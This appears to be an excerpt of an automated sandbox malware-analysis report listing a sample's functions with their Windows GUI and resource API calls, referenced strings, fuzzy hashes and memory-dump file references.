GetWindowTheme.UXTHEME ref: 000000014016AB6E

Strings

3, xrefs: 000000014016AB99

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$SystemWindow$InfoMetricsMonitor$ClientCopyCursorFromMessageParametersPointSendTheme
String ID: 3
API String ID: 381205858-1842515611
Opcode ID: 847bb6644997e3cba79a60948d2b593250b0f05c51d357fee4ffe0bade6e9487
Instruction ID: 9dfa2018b1c504905c31ae1a8447e0a3b1e8459d304cb42b45104b3ba001b9ed
Opcode Fuzzy Hash: 847bb6644997e3cba79a60948d2b593250b0f05c51d357fee4ffe0bade6e9487
Instruction Fuzzy Hash: C2D19772600B908BEB11CB6AE8887DD33A5F78CB98F554226DF4D57BA4DB78C841CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400E67A4 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 724windowCOMMON

Download Yara Rule

APIs

IsRectEmpty.USER32 ref: 00000001400E6850
CreateRectRgnIndirect.GDI32 ref: 00000001400E685D
IsWindowVisible.USER32 ref: 00000001400E6898
GetWindowRect.USER32 ref: 00000001400E68CA
GetClientRect.USER32 ref: 00000001400E68F8
OffsetRect.USER32 ref: 00000001400E6917
OffsetRect.USER32 ref: 00000001400E6946

Strings

2, xrefs: 00000001400E6F7D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$OffsetWindow$ClientCreateEmptyIndirectVisible
String ID: 2
API String ID: 398194487-450215437
Opcode ID: c6154c0d9d427c9ae4c3ece4907c0215b3eedc5a210a88e820b8fffa993d6729
Instruction ID: fdfc20634623b5ca35e2747f9b68cf4a6b2e32347a290bf542755ca34dfde4a5
Opcode Fuzzy Hash: c6154c0d9d427c9ae4c3ece4907c0215b3eedc5a210a88e820b8fffa993d6729
Instruction Fuzzy Hash: 77628D32600B8185EB22DF7AD8407ED6361F789BE8F445216EF5967BA9EF34C944C780

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C21A1 Relevance: 19.8, APIs: 13, Instructions: 276windowCOMMON

Download Yara Rule

APIs

GetMessageW.USER32 ref: 00000001400C4681
DispatchMessageW.USER32 ref: 00000001400C4693
PeekMessageW.USER32 ref: 00000001400C46A9
GetCapture.USER32 ref: 00000001400C46B3
SetCapture.USER32 ref: 00000001400C46C6
GetWindowRect.USER32 ref: 00000001400C46E7
GetCapture.USER32 ref: 00000001400C475D
GetMessageW.USER32 ref: 00000001400C4780
DispatchMessageW.USER32 ref: 00000001400C47A5
GetScrollPos.USER32 ref: 00000001400C48E9
RedrawWindow.USER32 ref: 00000001400C490F
ReleaseCapture.USER32 ref: 00000001400C49C4
IsWindow.USER32 ref: 00000001400C49CD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$Capture$Window$Dispatch$PeekRectRedrawReleaseScroll
String ID:
API String ID: 1873598099-0
Opcode ID: 8aa9477636bff577f2c98f28b5843f1c3e2af85a127e6c478c5069c94bd966b3
Instruction ID: 1ebc416a63cfc6b69e71ffc10b2aa332aac407b7350a40ad987e63837d02d555
Opcode Fuzzy Hash: 8aa9477636bff577f2c98f28b5843f1c3e2af85a127e6c478c5069c94bd966b3
Instruction Fuzzy Hash: 5DC15B363046408AEB2ADF67E4547EE67A1FB8DBC4F084126EB5A47BA9CF38D445C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140150750 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 264windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

GetParent.USER32 ref: 00000001401508A5
GetParent.USER32 ref: 0000000140150903
SendMessageW.USER32 ref: 0000000140150921
GetParent.USER32 ref: 00000001401509C4
GetParent.USER32 ref: 0000000140150A2C
SendMessageW.USER32 ref: 0000000140150A49
GetParent.USER32 ref: 0000000140150A62
SendMessageW.USER32 ref: 0000000140150A80
InvalidateRect.USER32 ref: 0000000140150B11
UpdateWindow.USER32 ref: 0000000140150B1B

Part of subcall function 000000014009C5E4: wcschr.LIBVCRUNTIME ref: 000000014009C640
Part of subcall function 000000014009C5E4: CharUpperW.USER32(00007FFF,?,?,0000000140093635), ref: 000000014009C686

Strings

MenuBar, xrefs: 0000000140150789

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Parent$MessageSend$CharExceptionInvalidateRectThrowUpdateUpperWindowwcschr
String ID: MenuBar
API String ID: 3755686937-731504628
Opcode ID: f3d56c2a86e3bee20ff0dc0bf83195bf3b45a895261da4294fdd102e1bbdffe1
Instruction ID: 69b37cbfccaf6cbb4eaa717013bba13037639fd086781866892e6dab312b1280
Opcode Fuzzy Hash: f3d56c2a86e3bee20ff0dc0bf83195bf3b45a895261da4294fdd102e1bbdffe1
Instruction Fuzzy Hash: E0B14A35300B4582EA2ADB67E4557EA63A0FB8DFC4F084125DF9A4BBA6DF79D441C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C271C Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 207timeCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00000001400C2777
ScreenToClient.USER32 ref: 00000001400C2786
PtInRect.USER32 ref: 00000001400C27C8
PtInRect.USER32 ref: 00000001400C27EE
KillTimer.USER32 ref: 00000001400C2840
InvalidateRect.USER32 ref: 00000001400C2859
InvalidateRect.USER32 ref: 00000001400C286C
KillTimer.USER32 ref: 00000001400C29C5
ValidateRect.USER32 ref: 00000001400C2A05
RedrawWindow.USER32 ref: 00000001400C2A4B

Strings

_, xrefs: 00000001400C29E5

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$InvalidateKillTimer$ClientCursorRedrawScreenValidateWindow
String ID: _
API String ID: 1459077570-701932520
Opcode ID: 05cb1e4b945e8c441b8cf659f9aec8adb3d204be3092ac8448fe50b654a8c4f1
Instruction ID: b526aa750178a9b15378db31d6aa83abc6a7b1d0bc5516c7d8b49fa6b841f0e2
Opcode Fuzzy Hash: 05cb1e4b945e8c441b8cf659f9aec8adb3d204be3092ac8448fe50b654a8c4f1
Instruction Fuzzy Hash: 7F914C7660878097EA1DDF27E9547ED77A1F789BC0F084126EB4A83AA1CF39D461CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401A2710 Relevance: 18.2, APIs: 12, Instructions: 160windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001401A268C: LoadCursorW.USER32 ref: 00000001401A26AA
Part of subcall function 00000001401A268C: LoadCursorW.USER32 ref: 00000001401A26CA

PeekMessageW.USER32 ref: 00000001401A2757
PostMessageW.USER32 ref: 00000001401A27E8
SendMessageW.USER32 ref: 00000001401A2808
GetCursorPos.USER32 ref: 00000001401A282E
PeekMessageW.USER32 ref: 00000001401A286B
WaitMessage.USER32 ref: 00000001401A28B1
ReleaseCapture.USER32 ref: 00000001401A28CD
SetCapture.USER32 ref: 00000001401A28D7
ReleaseCapture.USER32 ref: 00000001401A28E5
SendMessageW.USER32 ref: 00000001401A28FA
SendMessageW.USER32 ref: 00000001401A2940
PostMessageW.USER32 ref: 00000001401A2978

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$CaptureCursorSend$LoadPeekPostRelease$Wait
String ID:
API String ID: 2899155438-0
Opcode ID: 455c610cc485f8c5aa4e9b9fb6a84c9cddfc3fd87a10ae0bbfce77d00b1b3282
Instruction ID: f916bf15c452c35369b46352a224050d124869ad1a485103e75cc7d47ebb09c5
Opcode Fuzzy Hash: 455c610cc485f8c5aa4e9b9fb6a84c9cddfc3fd87a10ae0bbfce77d00b1b3282
Instruction Fuzzy Hash: 9D617F3630468082F766DB6BE544BEB67A1FB9CF84F044025DF9A47BA5DE79C481CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014008229C Relevance: 16.7, APIs: 11, Instructions: 246COMMON

Download Yara Rule

APIs

wcsstr.LIBVCRUNTIME ref: 0000000140082334
wcsstr.LIBVCRUNTIME ref: 0000000140082362
wcsstr.LIBVCRUNTIME ref: 0000000140082390
GetModuleFileNameW.KERNEL32 ref: 00000001400823BD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: wcsstr$FileModuleName
String ID:
API String ID: 4197323741-0
Opcode ID: 8ffe74e06465c8f11655523048f02a8e1f9259899c663286b95a2dcdc82d2a73
Instruction ID: 6e57b712ccdf50806e327be3cbe3f68763cc71b9adcf24eb0828ab0ccb52159c
Opcode Fuzzy Hash: 8ffe74e06465c8f11655523048f02a8e1f9259899c663286b95a2dcdc82d2a73
Instruction Fuzzy Hash: 49B19D36304B8086EB26DB26E9507DE73A1F788BE4F841125EF9A47BA5DF78C645C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013C149 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 441windowCOMMON

Download Yara Rule

APIs

SetRect.USER32 ref: 000000014013C205
OffsetRect.USER32 ref: 000000014013C2DA
InflateRect.USER32 ref: 000000014013C3C7
InflateRect.USER32 ref: 000000014013C418
DrawIconEx.USER32 ref: 000000014013C4FB

Part of subcall function 0000000140041CA0: GetWindowTextLengthW.USER32 ref: 0000000140041CD2
Part of subcall function 0000000140041CA0: GetWindowTextW.USER32 ref: 0000000140041CEF

GetTextMetricsW.GDI32 ref: 000000014013C698

Strings

UUUU, xrefs: 000000014013C3D1
$, xrefs: 000000014013C682

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Text$InflateWindow$DrawIconLengthMetricsOffset
String ID: $$UUUU
API String ID: 1344069868-1406628070
Opcode ID: c8423ba659b5cd69e830d85ccf0981591d17ff1d4224a7c24a290224df244533
Instruction ID: b6eba8df1219889ee2d3177986fef3a758d5c185399020238a15ed904ffa4219
Opcode Fuzzy Hash: c8423ba659b5cd69e830d85ccf0981591d17ff1d4224a7c24a290224df244533
Instruction Fuzzy Hash: 09129C36B20A908AEB16CF7AD8447ED73A1F78CB94F484225DF4957BA5DB78D910CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014005876C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,00000000,0000000140052B88), ref: 00000001400587BF
GetUserDefaultUILanguage.KERNEL32(?,?,00000000,0000000140052B88), ref: 00000001400587D1
FindResourceExW.KERNEL32(?,?,00000000,0000000140052B88), ref: 0000000140058813
FindResourceW.KERNEL32(?,?,00000000,0000000140052B88), ref: 0000000140058836
LoadResource.KERNEL32(?,?,00000000,0000000140052B88), ref: 0000000140058847

Part of subcall function 0000000140058994: GetDC.USER32 ref: 0000000140058A17
Part of subcall function 0000000140058994: EnumFontFamiliesExW.GDI32 ref: 0000000140058A3E
Part of subcall function 0000000140058994: ReleaseDC.USER32 ref: 0000000140058A49

GlobalAlloc.KERNEL32(?,?,00000000,0000000140052B88), ref: 0000000140058880

Strings

MS UI Gothic, xrefs: 00000001400587E5
comctl32.dll, xrefs: 00000001400587B8

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Resource$Find$AllocDefaultEnumFamiliesFontGlobalHandleLanguageLoadModuleReleaseUser
String ID: MS UI Gothic$comctl32.dll
API String ID: 1606157363-3248924666
Opcode ID: 2cfcb80d8f4fbae5debcd64d1f87cbb271c18279e5df8ce7563de3ba8ce1dc41
Instruction ID: c74af288cf3ee4a1370cbd887888ae7781fc1503b1c37d1759b453f0abdb9465
Opcode Fuzzy Hash: 2cfcb80d8f4fbae5debcd64d1f87cbb271c18279e5df8ce7563de3ba8ce1dc41
Instruction Fuzzy Hash: 1651A07570164542FA2BEB6794447F96391EB4DBC0F548C24AF499BBF1EE38C942C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401AC024 Relevance: 13.7, APIs: 9, Instructions: 206COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32 ref: 00000001401AC13B
MonitorFromPoint.USER32 ref: 00000001401AC17B
GetMonitorInfoW.USER32 ref: 00000001401AC188
CopyRect.USER32 ref: 00000001401AC19A
SystemParametersInfoW.USER32 ref: 00000001401AC1AE

Part of subcall function 000000014003AEC0: ShowWindow.USER32 ref: 000000014003AEE1

OffsetRect.USER32 ref: 00000001401AC1D3
OffsetRect.USER32 ref: 00000001401AC1FD
LoadCursorW.USER32 ref: 00000001401AC20A
SetLayeredWindowAttributes.USER32 ref: 00000001401AC309

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$InfoMonitorOffsetWindow$AttributesCopyCursorEmptyFromLayeredLoadParametersPointShowSystem
String ID:
API String ID: 264503638-0
Opcode ID: dce7f88ef741544c4c9d67f35e2c56864266f033f4e595000d6e10da0c9dc876
Instruction ID: 7ed77f168fd17e292b3f0251d98b6f67869e58d0a54a5e6c72a95767aa8c6930
Opcode Fuzzy Hash: dce7f88ef741544c4c9d67f35e2c56864266f033f4e595000d6e10da0c9dc876
Instruction Fuzzy Hash: 06916C36710A809AFB12EB67D4547ED23A1FB8CB94F448126EF0A57BA5DF38C945C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400802B4 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 239windowCOMMON

Download Yara Rule

APIs

GdipGetImageHeight.GDIPLUS ref: 000000014008034D
GdipGetImageWidth.GDIPLUS ref: 0000000140080369
GdipGetImagePalette.GDIPLUS ref: 0000000140080437
SetDIBColorTable.GDI32 ref: 00000001400804A6
GdipBitmapLockBits.GDIPLUS ref: 00000001400804F0
GdipBitmapUnlockBits.GDIPLUS ref: 000000014008055B

Strings

&, xrefs: 000000014008033B

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Gdip$Image$BitmapBits$ColorHeightLockPaletteTableUnlockWidth
String ID: &
API String ID: 603721357-3042966939
Opcode ID: 72520d758f942a503d2819024fc85e6ce2ae128253b91d3ccfb408e97973d2c1
Instruction ID: 3ee80e08199bbfa779cd1ddd78611eee196e197e55dc7482721ab755957adea3
Opcode Fuzzy Hash: 72520d758f942a503d2819024fc85e6ce2ae128253b91d3ccfb408e97973d2c1
Instruction Fuzzy Hash: 48A19C73210A818BEB62DF27D8407DA37A4F758BD8F004526EF1A4BBA9DB74D605CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400FC280 Relevance: 12.0, APIs: 7, Instructions: 1532COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00000001400FC521
std::ios_base::~ios_base.LIBCPMT ref: 00000001400FCE9C
std::ios_base::~ios_base.LIBCPMT ref: 00000001400FD5E6
IsRectEmpty.USER32 ref: 00000001400FC52A

Part of subcall function 0000000140038E4C: _invalid_parameter_noinfo.LIBCMT ref: 0000000140038FFB

Part of subcall function 0000000140038364: _CxxThrowException.LIBVCRUNTIME ref: 00000001400383B2

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

SetParent.USER32 ref: 00000001400FD734
SetParent.USER32 ref: 00000001400FD7C9
std::ios_base::~ios_base.LIBCPMT ref: 00000001400FD859

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: std::ios_base::~ios_base$ExceptionParentRectThrow$EmptyWindow_invalid_parameter_noinfo
String ID:
API String ID: 2711201615-0
Opcode ID: 09ec593d255c5a159ca69f8169326a33d91a88d24d0c2bffb43374e3cab98bd2
Instruction ID: cae3bd18125fa3acf9cdae65962db140a898e8841669724c0c8d5aece1360557
Opcode Fuzzy Hash: 09ec593d255c5a159ca69f8169326a33d91a88d24d0c2bffb43374e3cab98bd2
Instruction Fuzzy Hash: 4CD25D32210A4486EA66EB27D5A57EE6361FB8DBC4F445029EF4F47BB2DE78E441D300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140156870 Relevance: 10.8, APIs: 7, Instructions: 317COMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 0000000140156922
SetRectEmpty.USER32 ref: 0000000140156940
GetParent.USER32 ref: 0000000140156957
GetParent.USER32 ref: 0000000140156980
GetWindowRect.USER32 ref: 00000001401569CC
GetParent.USER32 ref: 00000001401569D6
IsRectEmpty.USER32 ref: 0000000140156C5E

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Parent$Rect$Empty$Window
String ID:
API String ID: 1870126367-0
Opcode ID: 5ba22e782a801eccfd3501afd96798e699f51748e0029cbf430a77bd7eafc071
Instruction ID: ca1156d6a2a226f9de1d7bfbba8c58ea67a294a24e09bcc63e175c3b8162e121
Opcode Fuzzy Hash: 5ba22e782a801eccfd3501afd96798e699f51748e0029cbf430a77bd7eafc071
Instruction Fuzzy Hash: 05C10436714A9085EB05EBA7E8907ED27A0BB8DFC4F095026DF0E97B66DE39C441C704

Uniqueness

Uniqueness Score: -1.00%

